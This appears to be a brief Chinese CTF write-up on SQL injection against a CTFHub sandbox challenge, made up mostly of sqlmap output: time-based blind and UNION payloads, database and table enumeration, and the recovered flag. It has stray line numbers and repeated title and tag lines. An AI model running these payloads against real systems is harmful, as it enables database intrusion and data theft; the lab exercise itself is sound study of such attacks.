报错型sql注入

报错型sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6031 FROM (SELECT(SLEEP(5)))HxQg) AND 'TYVz'='TYVz

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=-6758' UNION ALL SELECT NULL,CONCAT(0x71716b6271,0x6b4f427268554c41585a6c62706e70755161624c684e6b574950737365477945575762454c567758,0x71627a6a71)-- -
tags: [web渗透]
title: 报错型sql注入
title: 报错型sql注入
title: 报错型sql注入
tags: [web渗透]
title: 报错型sql注入
tags: [web渗透]
---
1
2
3
4
5
[*] information_schema
[*] mysql
[*] performance_schema
[*] sqli

​sqlmap -u "http://challenge-68616053fb31adea.sandbox.ctfhub.com:10800/?id=1"​

‍

1
2
3
4
5
6
Database: sqli
[2 tables]
+------+
| flag |
| news |
+------+
1
2
3
4
5
6
7
8
Database: sqli
Table: flag
[1 column]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| flag   | varchar(100) |
+--------+--------------+
1
2
3
4
5
6
7
8
Database: sqli
Table: flag
[1 entry]
+----------------------------------+
| flag                             |
+----------------------------------+
| ctfhub{d6d7550c0c1cf1fc939bb395} |
+----------------------------------+

‍